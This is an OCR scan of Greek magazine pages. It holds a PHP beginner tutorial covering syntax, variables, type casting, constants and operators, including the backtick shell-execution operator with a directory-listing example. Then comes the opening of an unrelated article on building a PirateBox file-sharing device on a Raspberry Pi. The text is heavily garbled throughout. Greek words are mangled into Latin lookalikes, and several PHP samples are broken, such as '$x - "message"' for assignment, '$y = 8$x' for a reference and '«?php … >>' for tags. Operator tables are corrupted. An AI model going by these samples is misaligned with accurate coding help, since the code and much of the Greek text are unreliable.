πλὲς γραμμἑς. Αυτή η µορφή εἶναι επίσης δανεισµένη απὀ την C/C++. Τα σχόλια au- 
TOU του εἶδους ξεκινούν µε slash και αστερἰσκο (/*) και τερματἰζονται µε αστερίσκο 
και slash (*/). O διερμηνέας αγνοεἰ οτιδήποτε βρίσκεται ανάμεσα σε αυτούς τους 
συνδυασμούς χαρακτήρων. 


O κενὸς χώρος — διαστήματα, tabs, αλλαγὲς γραμμών-- αγνοείται πλήρως ano τον 
διερμηνέα της PHP, ὁπως συμβαίνει και σε ὀλεςτις γλὠσσες που μιμούνται το συντα- 
κτικὀ της C. Ομοίως, το τέλος µιας πρότασης οριοθετείται ano τον χαρακτήρα του 
ελληνικού ερωτηματικού ";". Εξάλλου, ὁπως θα ἐχετε NON υποψιαστεί, Eva μπλοκ 
κὠδικα ξεκινάει µε το αριστερὀ ἁγκιστρο "{" και τελειώνει µε το δεξιό "Y". Αυτός 
ο τρόπος προσδιορισμού των μπλοκ και των προτάσεων εισάγει µεγάλη ελευθερία 
στην τελικἠ μορφή rou κὠδικα. Πα παράδειγµα, θα μπορούσαμε να γράψουμε ὁλον 
TOV κὠδικά σε µια και μόνο γραµµή! Φυσικἀ, µε GUTOV τον τρόπο ο κὠδικάς θα εἶναι 
εξαιρετικἀ δυσανάγνωστος και η τροποποἰησήἠ του ano κάποιον προγραμματιστή 
(ακόµα και ano εμάς τους ἰδιους) θα αποτελεἰ μαρτύριο. Έτσι, καλὀ εἶναι να χρησι- 
μοποιούμε πάντα ra απαραἰτητα κενὰ και τις αλλαγὲς γραμμών, WOTE ο κὠδικάς va 
εἶναι ευανάγνωστος και κατὰ συνέπεια να συντηρείται εύκολα. 


Πριν γράψουμε το κλασσικὀ "Hello, world!", πρέπει να πούμε δυο λόγια για τον τρό- 
no κλήσης των συναρτήσεων. Περιττό να πούμε OT! οὐτε κι £00 ξεφεύγουμε ano 
την πεπατηµένη. Εξάλλου, στη δοκιµἠ που πραγµατοποιἡήσαμε κατὰ το στήσιμο TOU 
LAMP, καλέσαµε τη συνάρτηση phpinfo(). Πα va καλἐέσουµε µια συνάρτηση, λοιπὸν, 
αρκεἰ να γράψουμε το ὀνομὰ της κι αµέσως μετὰ va τοποθετήσουµε Eva ζεύγος na- 
ρενθέσεων. Μέσα στην παρένθεση γράφουμε ra ορἰσματα που ενδέχεται να απαιτεἰ 
η εκάστοτε συνάρτησηδ. Ας δούµε τώρα και το "Hello, world!". 


8. Αν η συνάρτηση δεν δέχεται κανένα ὀρισμα, ἡ αν η χρήση τους εἶναι προαιρετική, αφήνουμε την παρένθεση κενή. Ακριβώς αυτό κάναμε 
και µε την phpinfo()... 
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Αρχικά δημιουργούμε Eva αρχείο απλού κειµένου µέσα oro Document Root rou web 
server και του δίνουμε Eva ὀνομα της επιλογἠς µας (n.x., hello.php). Στο αρχείο npo- 
σθέτουµε τον ακόλουθο κώδικα: 


«?php 
echo "Hello, world!" ; 
>> 


Αφού αποθηκεύσουµε το αρχείο, μπορούμε va ανοίξουμε Evav browser και va επι- 
σκεφθούμε τη διεύθυνση http://localhost/hello.php. Εκεἰ, θα δούμε να εμφανίζεται 
&va "Hello, world!". Όμως το αρχείο hello.php δεν περιέχει καθόλου κώδικα σε HTML. 
Ας ομορφύνουμε λοιπὀν το παράδειγμά µας, δημιουργώντας Eva npayparikó ἐγγρα- 
po HTML. Ανοίγουμε ξανά ro hello.php και αντικαθιστούμε τα περιεχόμενά TOU µε 
αυτά: 


«html» 
«head» 
«title»Our php hello world example!«/title» 
«/head» 
«body» 
«hi»«?php echo "Hello, world!" ; ?»«/h1» 
«/body» 
</html> 


Av αποθηκεύσουµε το τροποποιημένο αρχείο κι ανανεώσουμε τη σελίδα στον 
browser, θα δούμε το κείμενο "Hello, world!" σε στυλ επικεφαλἰδας. Αν μάλιστα 
ζητήσουμε ano rov browser να εμφανίσει τον κὠδικα της σελίδας, θα εμφανιστεί 
ἑνα πλἠρες ἐγγραφο HTML, µε ro "Hello, world!" μέσα σε tags «hi1». Με αυτὸ το 
παράδειγµα βλέπουμε πόσο ὀμορφα συνδυάζεται ο κὠδικας PHP µε αυτόν της HTML. 
O διερμηνέας της PHP εκτελεἰ οτιδήποτε βρίσκεται στην περιοχἠ του κὠδικα κι ENI- 
στρἐφει αυτούσιο καθετἰ ἄλλο. 


Μεταβλητὲἑς, σταθερὲς και τύποι δεδομένων 


Κάθε μεταβλητἠ εἶναι ευδιάκριτη στον κὠδικα PHP, καθώς μπροστὰ ano ro ὀνομά 
της τοποθετείται πάντα το σύμβολο του δολαρίου. Όσον αφορά στο μήκος του ovó- 
ματὸς της, δεν υπάρχει κανένας περιορισμός. Μπορεί να αποτελείται and γράμματα, 
ψηφία και το χαρακτήρα της υπογράμμισης (underscore), αλλά απαγορεύεται va 
ξεκινά µε κάποιο ψηφίο. Τα ονόματα των μεταβλητών εἶναι ευαἰσθητα στη διάκριση 
πεζών και κεφαλαίων (εἶναι case sensitive). Εξαΐρεση όμως αποτελούν οι σταθερὲς 
και οι συναρτήσεις! Παρεμπιπτόντως, καθώς οι µεταβλητὲς xouv το ειδικὀ ava- 
γνωριστικὀ "$" μπροστά ano το ὀνομά τους, η PHP επιτρέπει τη συνύπαρξη µιας 
μεταβλητής και µιας συνάρτησης HE ro iio ὀνομα. Βέβαια, αν και ο διερμηνέας της 
PHP δεν πρὀκειται να μπερδευτεί, δεν ισχύει το ἰδιο και για εμάς. Επομένως, καλό θα 
ἦταν να αποφεύγουμε αυτὲς τις συνωνυμἰες. 


Οι μεταβλητὲἐς στην PHP, όπως και στην αγαπημένη µας Python, ¿xouv δυναμικὀ 
τύπο. Δηλαδή, ο τύπος µιας μεταβλητής προσδιορἰζεται ano το εἶδος των δεδομένων 
που της εκχωρούνται, τη στιγμή nou της εκχωρούνται. Πα παράδειγµα η μεταβλητή 
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x στην ανάθεση $x = 10; περιλαμβάνει ἑναν ακἐραιο αριθµό κι αυτή τη στιγμή εἶναι 
τύπου integer. Αν αργότερα της εκχωρήσουμµε µια δεκαδικἠ TIN (n.x., $x = 8.37;) 
ο τύπος της θα αλλάξει αυτόματα σε float. Αντίστοιχα, µε την εκτέλεση του $x = 
"abc"; η μεταβλητή θα αποκτήσει πλέον τον τύπο string. 


Ακολουθούν οι υποστηριζόμενοι τύποι δεδοµένων της PHP: 


e Integer Ακέραιος αριθµός 

ο Float Αριθμός µε δεκαδικὀ µέρος 

e String Συμβολοσειρἁ 

ο Boolean Λογική τιµή (true/false) 

e Array Πίνακας (στην PHP ἐχει τη µορφή ενὸς ταξινομημένου 
λεξικού) 

ο Object Αντικείµενο 

ο Null Κενό (μεταβλητή δίχως εκχωρημένη τιμὴ) 

ο Resource Πόρος (n.x., µια σύνδεση µε Eva αρχείο ἡ µια βάση 
δεδομένων) 


Πα την ευκολία µας, η PHP παρέἐχει ¿vav μηχανισμό που επιτρέπει va μεταβάλλουμε 
τον τύπο µιας µεταβλητής σχεδὀν κατά βούληση. Έτσι, μπορούμε να μετατρέψουμε 
vav αριθμό σε string ἡ έναν integer σε float, αλλά ὀχι το αντίστροφο! H εν λόγω 
διαδικασία ονομάζεται type casting και ακολουθεἰ την παρακάτω σύνταξη: 


(τύπος) ἁμεταβλητή ; 


Παρακάτω βλέπουμε τις διαθέσιμες επιλογές για το type casting, καθὼς και τη λει- 
Toupyia της καθεμίας: 


(int), (integer) μετατροπή σε integer 
(bool), (boolean) μετατροπὴ σε boolean 
(float), (double), (real) μετατροπή σε float 
(string) μετατροπή σε string 
(array) μετατροπὴ σε array 
(object) μετατροπὴ σε object 
(unset) μετατροπὴ σε null 


‘Eva ἆλλο εἶδος μεταβλητών στην PHP εἰναι οι "μεταβλητές μεταβλητές" (ναι, αυτές). 
Και, ὀχι, δεν πρὀκειται για τυπογραφικὀ λάθος, οὐτε για φάρσα. H ιδιαιτερότητα 
αυτών των μεταβλητών εἶναι ὁτι επιτρέπουν τον ορισμό του ονὀματὸς τους κατὰ 
την εκτέλεση του κὠδικα! Μια "μεταβλητή μεταβλητή", ορἰζεται τοποθετώντας δύο 
σύμβολα του δολαρίου μπροστὰ ano ro ὀνομα µιας υπάρχουσας μεταβλητής, στην 
οποία ἐχει εκχωρηθεἰ Eva συμβατικὀ ὀνομα. Δείτε το ακόλουθο παράδειγµα: 


$x - "message" ; 
$$x - "deltaHacker" ; 
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AvapWTIEOTE τι επιτυγχάνουν τα παραπάνω; H μεταβλητή x αποκτἀ την τιμή 
"message", ενώ η μεταβλητή που ἐχει σαν ὀνομα την τιµή της μεταβλητής x, ano- 
κτὰά την τιμή "deltaHakcer". Με ἄλλα λόγια, η εκτέλεση του παραπάνω κὠδικα ἐχει 
σαν αποτέλεσμα τη δημιουργία δύο μεταβλητών. H μία ονομάζεται x, ενώ η ἄλλη 
ονομάζεται message! H πρώτη ἐχει την τιµή message και η δεύτερη έχει την τιμὴ 
deltaHacker. Μετὰ ano τις παραπάνω δύο γραμμές, μπορούμε να γράψουμε κάτι σαν 
αυτό που ακολουθεἰ — κι ο interpreter της PHP δεν θα παραπονεθεἰ καθόλου: 


echo $message; 


H εκτέλεση rou παραπάνω θα ἐχει σαν συνέπεια την εκτύπωση rou "deltaHacker". 
Σε αυτὸ το σημείο ενδέχεται να σκέφτεστε OT! πρὀκειται για µια παράξενη κι ἄχρη- 
στη δυνατότητα. Ωστόσο οι δημιουργοί της PHP δεν αποφάσισαν τυχαία να την υλο- 
ποιήσουν. OUTE κι εµεἰς αποφασίσαμε να την παρουσιάσουμε τυχαία ἡ απὀ κάποια 
παραξενιἀ. Σας υποσχόµαστε Ori, αργότερα και μέσα ano Eva πρακτικὀ παράδειγµα, 
θα κατανοήσετε σε HEYGAO βαθμό την αξία αυτής της δυνατότητας. 


Πέρα ano τις μεταβλητές, η PHP επιτρέπει να ορἰζουμε και σταθερές. Οι σταθερὲς 
διατηρούν μόνο την τιµή που τους αποδίδουµε τη στιγμή του ορισμού τους. Από κεί 
κι ἐπειτα εἶναι αδύνατο ν’ αλλάξουν τιµή. Πα τον ορισµὀ των σταθερών χρησιµοποι- 
εἶται η ακόλουθη σύνταξη: 


define("STATHERA A", 10) ; 
define("STATHERA B", "a string", true) ; 


Ὅπως βλέπετε, ro define λειτουργεί ως συνάρτηση. Μέσα στην παρένθεση ορἰζουμε 
πρὠτα το ὀνομα της σταθερἀς (σε διπλά ἡ μονά εισαγωγικὰ) και στη συνέχεια την 
τιμή της. Αυτή μπορεί va εἶναι οποιοσδήποτε scalar τύπος (integer, float, string ἡ 
boolean). fia τα ονόματα των σταθερών επιλέξαμε να ακολουθήσουμε τη σύμβαση 
της C, nou απαιτεί τη χρήση κεφαλαίων χαρακτήρων και μόνο. Αυτό το συνηθἰ- 
ζουμε yia να κἄνουμε τα προγράμματά µας nio ευανάγνωστα και δεν το επιβάλει η 
PHP. Κάτι ἄλλο nou εἶἱμαστε σίγουροι ὁτι παρατηρήσατε, σχετίζεται µε τη δήλωση 
της STATHERA, B: Στη δἠλωσή της συμπεριλάβαμε και µια τρίτη παράμετρο. Αυτή 
η παράμετρος µπορείἰ va πάρει την τιμή true rj false και καθορίζει av το ὀνομα της 
σταθερὰς θα εἶναι ευαἰσθητο ως προς τα κεφαλαἰα και τα πεζά. H προεπιλογἠ εἶναι 
false και yl’ GUTO αναφέραμε προηγουμένως ὁτι τα ονόματα των σταθερών δεν εἶναι 
ευαἰσθητα στη διάκριση πεζών και κεφαλαίων! Όπως βλέπετε, ὁμως, αυτό μπορεἰ ν΄ 
αλλάξει εὐκολα. Τέλος, σε αντίθεση µε τις μεταβλητές, για τη χρήση µιας σταθεράς 
δεν απαιτείται η προσθήκη ειδικού συμβόλου πριν ano το ὀνομα. Έτσι, για να TUNO- 
coupe την TIEN της STATHERA B, μπορούμε να γράψουμε κάτι τέτοιο: 


echo STATHERA B; 


Τελεστὲς 


Οι τελεστὲς σε µια γλὠσσα προγραμματισμού αποτελούν σύμβολα, µε τη βοήθεια 
των οποίων μπορούμε να Χχειριζόμαστε τις μεταβλητὲς και να εκτελούμε πράξεις. 
Η ΡΗΡ υποστηρίζει µια πληθώρα τελεστών, τους οποίους θα παρουσιάσουμε ευθύς 
αμέσως. Στον ακόλουθο πίνακα φαίνονται οι αριθμµητικοί τελεστὲς της PHP και η 
(προφανής) ερμηνεία του καθενὸς: 
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Τελεστής | Περιγραφή Παράδειγμα χρήσης 


Αφαίρεση $x - $y (μπορεἰ να Χρησιμοποιηθεἰ και ως 
µοναδιαἰος τελεστής για αλλαγἡ πρόσηµου της 
τιμής της μεταβλητής, π.χ., - $x) 


$x / $y 
Υπόλοιπο διαίρεσης | $x % $y 


Σε GUTO το σημείο πρέπει va υπογραμμίσουμε µια λεπτομέρεια: Σε ορισμένες γλὠσ- 
σες προγραμματισμού, ο τελεστής της πρὀσθεσης (+) μπορεί να χρησιμοποιηθεἰ και 
για τη συνένωση (concatenation) συμβολοσειρών. H PHP χρησιμοποιεί ἑναν διαφο- 
PETIKO τελεστή συνένωσης: 


Τελεστής Περιγραφἠ Παράδειγμα χρήσης 


Ὅπως ἐχουμε πει, η PHP Exel ἐναν πολύ χαλαρὀ ἐλεγχο τύπων. Στην περίπτωση 
εκτέλεσης αριθμητικών πράξεων μεταξὺ μεταβλητών, ο διερμηνέας της PHP npo- 
σπαθεἰ va τις μετατρέψει αυτόματα σε αριθμοὺς — ἡ £oro va εξαγάγει ὁποιον αριθ- 
HO EVOEXETAI να εντοπίσει στην τιµή της καθεμίας! Πα να καταλάβετε τι εννοούμε µε 
αυτό, δείτε το παρακάτω πρόγραμμα: 


$x = "1 fora ki" ; 

$y = "1 kairo " ; 

$z = "pige I gata sto xoro" ; 
echo $x + $y + $z ; 

echo $x . $y . $z ; 


Οι τρεις μεταβλητὲς περιέχουν anó µια συμβολοσειρά και av τις ενώσουμε θα πά- 
poupe µια γνώριµη ἐκφραση. Ωστόσο, το αποτέλεσµα απὀ την εκτέλεση του NPWTOU 
echo εἰναι o αριθμὀς 2! Βλέπετε, το σύμβολο της πρὀσθεσης αποτελεί µια αριθµητικἡ 
πράξη. Ἔτσι, ο διερμηνέας κράτησε µόνο τους ἆσσους ano τις δύο πρώτες µετα- 
βλητὲς και στην τρίτη (στην τιµή της οποίας δεν βρήκε αριθμὀ), απέδωσε την τιµή 
μηδέν. H δεύτερη εκτέλεση rou echo, στην οποία χρησιμοποιήσαμε rov τελεστή της 
συνένωσης, δίνει την ἐκφραση που σχηματίζουν οι τιμὲς των μεταβλητών: "1 fora ki 
1 kairo pige I gata sto xoro". 


Συνεχίζουμε την περιπλἀνησή µας µε ἑναν τελεστή τον οποίο ἐχουμε NON χρησι- 
μοποιήσει, αλλά κατά πάσα πιθανότητα δεν του δώσατε σημασία. Αναφερόμαστε 
στον τελεστἠ εκχώρησης, ο οποίος εκχωρεί την τιµή που βρἰσκεται δεξιά του, στη 
μεταβλητή που εμφανίζεται αριστερἁ του. Σε καμία περίπτωση η λειτουργία του δεν 
πρέπει va μπερδεύεται µε την ἐννοια της ισότητας: 
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Τελεστἠς | Περιγραφἠ Παράδειγμα χρήσης 
Ekxopnon τιμής | $x =5 


$x = $y (n τιµή της μεταβλητής y εκχωρείται 
ως τιμὴ και στη μεταβλητή x) 


Οι αριθµητικοἰ τελεστές, καθώς και ο τελεστής συνένωσης, ἐχουν την ικανότητα va 
συνδυάζονται µε τον τελεστή εκχώρησης. Πα παράδειγµα, To $x = $x + $y µπορεί 
να ypagsi και έτσι: $x += $y 


Επιπλέον, οι τελεστὲς της πρὀσθεσης και της αφαίρεσης, μπορούν va χρησιµοποιη- 
θούν γραμμένοι εις διπλούν ("++" και "--"), ως πρὀθεµα ἡ επἰθεμα σε µια μεταβλητή. 
Τότε λειτουργούν σαν τελεστὲς αὐξησης ἡ μείωσης της τιμής της μεταβλητής, κατὰ 
µια μονάδα. H θέση τους (μπρος rj πἰσω ano τη μεταβλητή) παἰζει ρόλο µόνο σε 
συγκεκριμένες περιπτώσεις. Σε γενικὲς γραμμές, ὁταν τοποθετούνται σαν πρὀθεµα 
(n.xX., ++$x) εκτελείται η αύξηση ἡ η µείωση και η μεταβλητή χρησιμοποιείται µε 
τη νέα τιμή. Αντίστοιχα, ὁταν τοποθετούνται σαν επἰθεμα (n.x., $x++) η μεταβλητή 
χρησιμοποιείται µε την τρέχουσα τιμἠ της και η αύξηση ἡ η µείωση πραγματοποιείται 
μετά. 


Μια ξεχωριστή κατηγορἰα αποτελούν οι τελεστὲς σύγκρισης: 
Τελεστὴς | Περιγραφή Παράδειγμα χρήσης (τι επιστρέφει) 


Έλεγχος ισότητας | $x == $y (true, η τιµή του x ισούται µε αυτήν 
TOU y) 
> Μεγαλύτερο $x > $y (true, η τιµή Tou x εἶναι μεγαλύτερη 
ano αυτήν TOU y) 
« Μικρὀτερο $x < $y (true, η τιµή του x εἶναι μικρότερη 
ano αυτήν TOU y) 
>= Μεγαλύτερο ἡ ioo | $x >= $y (true, n τιµἠ TOU x εἶναι µεγαλύτερη 
ἡ ion µε αυτήν TOU y) 
<= Μικρότερο ἡ ico $x <= $y (true, η τιµή του x εἶναι μικρότερη 
ano ἡ ion µε αυτήν του y) 
Διάφορο $x != $y (true, η τιµή του x εἶναι διάφορη ano 
αυτήν TOU y) 


Ταυτόσημο $x === $y (true, n τιμὴ Tou x εἶναι ταυτόσημη 
µε GUTNV rou y) 

Μη ταυτόσημο $x !== $y (true, η τιµή Tou x δεν εἶναι 
ταυτόσημη µε αυτήν του y) 


Ιδιαίτερη μνεία αξίζει στον τελεστή "===", ο οποίος αν και μοιάζει µε TOV τελεστἠ 
της ισότητας "==", ελἐγχει επιπρόσθετα και τους τύπους των δύο μεταβλητών. Ac 
δούμε και NGAI Eva παράδειγµα: 
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$x = false ; 

$y -0; 

$20 = ($x == $y) ; 

$z1 = ($x ΕΣ 4 $y) 3 
H uerafAnrr| x εἶναι τύπου Boolean και της εκχωρούμε την τιμὴ false. H μεταβλητή 
y εἶναι τύπου integer και της δίνουμε την τιµή 0. Στη συνέχεια κάνουμε ἑναν ἐλεγχο 
ισότητας μεταξύ των δύο μεταβλητών και εκχωρούμε την τιµή του αποτελέσματος 
στο Ζ0. Δεν ξέρουμε av ro μαντέψατε, αλλά η τιµή που δίνει η PHP στη μεταβλητή 
zO εἶναι true! Αυτό συμβαίνει γιατὶ η ueragAnrr x μετατρέπεται σε αριθμό και το 
false αντιστοιχεἰ στο 0. Επομένως, στα μάτια της PHP οι τιμές των X και y ταυτἰζο- 
vrai! Ας δούμε τώρα και την τιµή που εκχωρεἰται στη μεταβλητή z1. Σε αυτή τη pE- 
ταβλητή αποδἱδεται η τιμή false. O τελεστής "===" δεν συγκρίνει µόνο τις τιμές των 
X και y, αλλά και τον τύπο τους. Έτσι, EPOGOV η πρώτη εἶναι Boolean και η δεύτερη 
integer, το αποτέλεσµα της σύγκρισης εἶναι ψευδὲς. 


Μια ακόμα (μεγάλη) karnyopia αποτελούν οι Aoyikoi τελεστές. Όπως καταλαβαἰ- 
νετε, αυτοί χρησιμοποιούνται για την εκτέλεση λογικὠν πράξεων: 


Τελεστής | Περιγραφή Παράδειγμα χρήσης (τι επιστρέφει) 
Ho fne [Ακ (avnerpéoei την τιμὴ του x 
LI πμ ση Όπως το προηγούμενο 


$x && ΦΥ (true, μόνο αν η τιµή των x και y εἶναι true, 
αλλιώς false) 


[and [And | Ὅπως το προηγούμενο 


UBL LEE $x || $y (false, οι τιμές των x και y εἰναι false, αλλιώς 
true) 


eXclusive Or $x xor $y (true, av μόνο To Eva ano ra x και y εἶναι 
true) 


Ας περάσουμε τώρα στους τελεστὲς bitwise, nou επιτρέπουν την εκτέλεση npà- 
ἕξεων σε επἰπεδο bit: 


Τελεστής | Περιγραφή Παράδειγμα χρήσης (τι επιστρέφει) 
δι And $x δι $y (πραγματοποιείται η λογική 
πράξη AND ανάμεσα στα bits των x και y) 
Or $x | $y (npayparonoisirai η λογικἠ πράξη 
OR ανάμεσα στα bits των x και y) 


$x ^ $y (πραγματοποιείται η λογικἠ 
πράξη XOR ανάμεσα στα bits των x και y) 
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Τελεστής | Περιγραφή Παράδειγμα χρήσης (τι επιστρἐφει) 


Δεξιὰ μετατόπιση $x >> $y (ra bits του x µετατοπίζονται 
προς τα δεξιὰ κατὰ y θέσεις και 
προστίθενται ισάριθμα μηδενικἁ ano τα 
αριστερὰ) 


Αριστερἠ μετατόπιση $x << $y (ra bits του x µετατοπἰζονται 
προς ra αριστερἁ κατὰ y θέσεις και 
προστίθενται ισάριθμα μηδενικἁ ano ra 
δεξιά) 


Θα κλείσουμε το κεφάλαιο των τελεστών µε δύο πιο εξεζητημένους. O ἑνας εἶναι o 
τελεστής αναφοράς, µε τον οποίο δεν αντιγράφουµε τις τιμὲς δύο μεταβλητών, 
αλλά τις κάνουμε να δείχνουν στην ἴδια θέση μνήμης. Σαν να λέμε, µετατρέπουµε 
τη pia σε hard link προς την δεύτερη. Δείτε το παράδειγµα: 


$x = 1; 

$y = 8$x ; 

echo 'H τιµή tou y είναι: ".$y ; 

$x++ ; 

echo "\nH τιµή tou y τώρα sivari: ".$y ; 

$y++ ; 

echo ΠΗ τιµή tou x τώρα εἶναι: ".$x ; 
Αν τρἐξουµε το παραπάνω npòypappa, θα διαπιστώσετε ὁτι η τιµή ToU y επηρεά- 
ζεται ano τις αλλαγὲς που γίνονται στη μεταβλητή x και αντίστροφα. Μετά and τη 
δεύτερη γραμμὴ του προγράµµατος, οι μεταβλητὲς x και y παραπέμπουν στην ἴδια 
θέση μνήμης! 
Μια άλλη εξεζητημένη περίπτωση αποτελεἰ ο τελεστής εκτέλεσης. Όπως pavs- 
ρώνει TO ὀνομὰ του, επιτρέπει την εκτἐλεση προγραμμάτων στο κἐλυφος rou δια- 
κοµιστή! H χρήση αυτού του τελεστή πρέπει να γίνεται κατόπιν ώριμης σκέψης, HE 
φειδώ και µε θρησκευτικἠ ευλάβεια, καθώς NOPE! να µας βάλει σε μεγάλες nepin£- 
τειες! Πα τη χρήση του τελεστή εκτέλεσης, τοποθετούμε ro πρόγραμμα που θέλουμε 
να τρἐξουµε µέσα σε δύο backticks?: " command" ". O διερμηνέας της PHP τρἐχει το 
πρὀγραμμα και συγκρατεἰ το αποτέλεσμα (output) της εκτέλεσης. Δείτε Eva παρά- 
δειγµα: 


$list = “ls -la /var/www ; 
echo $list ; 


O διερμηνέας της PHP θα εκτελἑσει το "Is -la /var/www" και η ἑξοδος θα αποθη- 
κευτεἰ ως τιµή στη μεταβλητή list. Έτσι, µε την εκτέλεση του echo θα εμφανιστούν 
όλα τα αρχεία nou βρίσκονται στον κατάλογο /var/www. Φυσικά, υπάρχουν πολύ 
καλύτεροι και ασφαλέστεροι τρόποι yia να εµφανίσουµε τα περιεχόμενα ενὸς φα- 
K£AoU TOU server. Πα την opa, ὁμως, θα σας αφήσουμε: To NEPIOOIKO κινδυνεύει 
µε overflow και δεν το θέλουμε ;) Εσεἰς πάλι μπορείτε να εγκαταστἠήστε To Linux 
σε κἄποιο μηχάνημα (εικονικὀ rj npayparikó), να προσθέστε το LAMP stack και να 
αρχίσετε τα πρὠτα σας πειράµατα µε την ΡΗΡ. 


9. Το σύμβολο που βρίσκεται στο ἰδιο πλήκτρο µε την περισπωμένη (tilde). 
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Skill: Intermediate 
Tags: Raspberry Pi, Raspbian, PirateBox, ntfs—3g, RIL8188, hostapd 


p" / 
L τος Bus — 
= Ξ = — m 
51D ΞΠΟΧ 

EH AS u HN eo wa M X 


bu GiannouG 


Φανταστεῖτε µια συσκευἠ στην οποία μπορεί να συνδεθεί οποιοσδήποτε 
και v' ανταλλάξει αρχεία µε κάθε ἄλλον συνδεδεμένο χρήστη, εντελώς 


ανώνυμα. Σχηματικὰ μιλώντας, Eva τέτοιο box θα κἐντριζε το ενδιαφέρον 
όλων των επισκεπτώὠν σ’ Eva hacker space ἡ σε µια παρεμφερή εκδήλωση 
ἡ οπουδήποτε αλλού, τέλος πάντων. E, λοιπὸν, αυτές οι συσκευές 
υπάρχουν non κι ονομάζονται PirateBoxes. Ti θα λέγατε av φτιάχναμε κι 
εμείς Eva, βασιζόμενοι στο αγαπημένο µας Raspberry Pi; 


Ένα πειρατικό κουτί, µε to Raspberry Pi! 
ri 


Σε αυτό ro άρθρο θα φτιάξουμε ro δικὀ µας PirateBox. Πα την κατασκευἠ θα 
χρησιμοποιήσουμε ἑνα Raspberry Pi, èva USB flash disk κι ἑνα USB WiFi adapt- 
er. To σύστημά µας θα µπορεἰ va λειτουργήσει σε κἀποιο σταθερὀ μέρος (n.x., o' 
ἑνα hacker space), ενώ µε τη βοήθεια ενὸς power bank (τροφοδοτικὀ που στηρίζει 
τη λειτουργία του σε μπαταρίες), θα μπορεἰ να λειτουργήσει ακόµα και μέσα στην 
τσάντα µας, σε µια πλατεία ἡ σε κάποια μάζωξη. Όλα αυτά, φυσικά, για χάρη της 
ελεύθερης διακίνησης της πληροφορίας! 


Συλλογή hardware 


Επιλέξαμε ro Raspberry Pi γιατὶ αποτελεἰ Eva φθηνό *kai* φορητό σύστημα Linux. 
Εξάλλου, μπορούμε να TOU προσθέσουμε εὐκολα οποιαδήποτε εφαρµογή, ενώ εξίσου 
εὐκολα υποστηρίζει και πολλά διαφορετικἁ περιφερειακἀ. Πα την κατασκευἠ EVOG Pi- 
rateBox αρκεἰ οποιαδήποτε ἐκδοση rou Raspberry Pi. Εμείς πάντως χρησιμοποιήσαμε 
το Model B rev 2, με τα 512MB RAM (Σ.τ.Ε. AUTO που ακόµη δεν έχω αγοράσει :S) 


Σαν αποθηκευτικὀ χώρο για το PirateBox αποφασἰσαµε να χρησιμοποιήσουμε Eva 
παλιὀ USB flash disk. Μην φανταστείτε OT! το ψάξαμε ιδιαίτερα, οὐτε Ori πήγαμε για 
Ψώνια! Ανοίξαμε το συρτάρι µας, βρήκαμε Eva flash disk των 4GB κι αποφασἰίσαµε va 
στηριχτούμε σε auro. Προφανώς, ὁσο μεγαλύτερος εἶναι o διαθέσιμος αποθηκευτικὀς 
χῶρος, τόσο το καλύτερο. Ωστόσο δεν χρειάζεται va ξεπαραδιαστούμε, OUTE 
θα ὠφελούσε σε τίποτα κἄποια υπερβολή. Φυσικά, για την αποθήκευση των 
διακινούμενων δεδομένων θα μπορούσαμε να χρησιμοποιήσουμε και την κάρτα 50 
του Raspberry Pi. Αυτή η επιλογἠ όμως κρύβει Evav κἰνδυνο: Σε περίπτωση nou το 
σύστημα κολλήσει, ενδέχεται να καταστραφεἰ κάποια κατάτμηση της κἆρτας και να 
χαθούν δεδομένα! 


13-07-26-wheezy-raspbian/20 13-07-26-wheezy-raspbian.img 


Copy |[ ΜΌ5 Hash: 


ΕΚΕ 26% 


Version: 0.9 
14.2296MB/s 


Νέα ἐκδοση Raspbian µε νέα πακέτα και νέες ρυθμίσεις! Σε 
κάθε νέα περιπέτεια, Καλό εἶναι να ξεκινάμε απὀ το μηδέν. 
Έτσι αποφεύγουμε πολλά εκνευριστικἁ προβλήµατα, ra 
οποία εμφανίζονται εξαιτίας παλιών ρυθμίσεων! 


1. Καταλαβαίνετε: Αναφερόµαστε σε δεδοµένα για τα οποία επιτρέπεται η διακἰνηση/μοίρμασμα. 
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IBBBBBBBBBBRO Raspberry Pi Software Configuration Tool (raspi-config) βββββββββββ 
B Setup Options β 


Change User Password Change password for the default u 
Enable Boot to Desktop Choose whether to boot into a des 
Internationalisation Options Set up language and regional sett 
Enable Camera Enable this Pi to work with the R 
Add to Rastrack Add this Pi to the online Raspber 
Overclock Configure overclocking for your P 
Advanced Options Configure advanced settings 

About raspi-config Information about this configurat 


2 
3 
4 
5 
6 
τή 
8 
9 


«Select» 


Mia ano τις επιλογὲς που πρέπει va χρησιμοποιήσουμε εἶναι η Expand Filesystem. 
Έτσι, το σύστημα θα επεκταθεί και θα καταλάβει τη συνολική έκταση της κάρτας SD. 


Πα τη σύνδεση των χρηστών χρειαζόμαστε Eva USB WiFi adapter nou να λειτουργεί 
και σαν Access Point (να μπαίνεις σε AP Mode, δηλαδὴ). Βασικά, μπορούμε va 
δοκιμάσουμµε µε οποιοδήποτε WiFi adapter έχουμε και γνωρίζουμε ότι υποστηρίζεται2 
ano ro Raspberry Pi. Θα πρέπει όμως να TOEKAPOUHE το αν λειτουργεἰ *kar* σε AP 
Mode! Αν δεν διαθέτουμε NON kànoia συσκευἠ rou εἰδους, KGAO θα ἦταν να ρίξουμε 
µια ματιὰ στις συσκευές που προτείνονται στο επἰσημο site του πρὀτζεκτ PirateBox: 


http://piratebox.aod-rpg.de/dokuwiki/doku.php/raspberry piratebox wifi 


Πα τις ανάγκες rou ἄρθρου χρησιµοποιήσαµε Eva αρκετά δυνατὸ WiFi adapter, µετο 
Ralink RT5370. O συγκεκριμένος προσαρµογέας ἐχει βύσμα για εξωτερικἡ κεραία, 
γεγονὸς που εκμεταλλευτήκαμε βιδώνοντας µια ταπεινή κεραία των 7dbi! 


Προετοιμασία 


H £pyaoia µας ξεκινά ano το λειτουργικὀ της συσκευἠς. Αποφασίσαμε να δουλέψουμε 
στο Raspbian, κυρίως γιατὶ αποτελεί την επίσημη διανομὴ yia To Raspberry PP. 
Μπορούμε φυσικά να επιλέξουμε το Pidora ἡ ακόµη και To Arch για Raspberry Pi. 
Σε γενικἐς γραμμὲς, τα βήματα που πρέπει να ακολουθήσουμε ισχύουν για ὀλες τις 
διανομὲς και οι μόνες διαφορὲς εντοπἰζονται σε ορισμένες PUBHIOEIG TOU συστήµατος. 
Πάντως, αν θέλετε να ακολουθήσετε NIOTA ὁσα περιγράφουµε στη συνέχεια τότε 
οφείλετε να χρησιμοποιήσετε κι εσεἰς το Raspbian. 


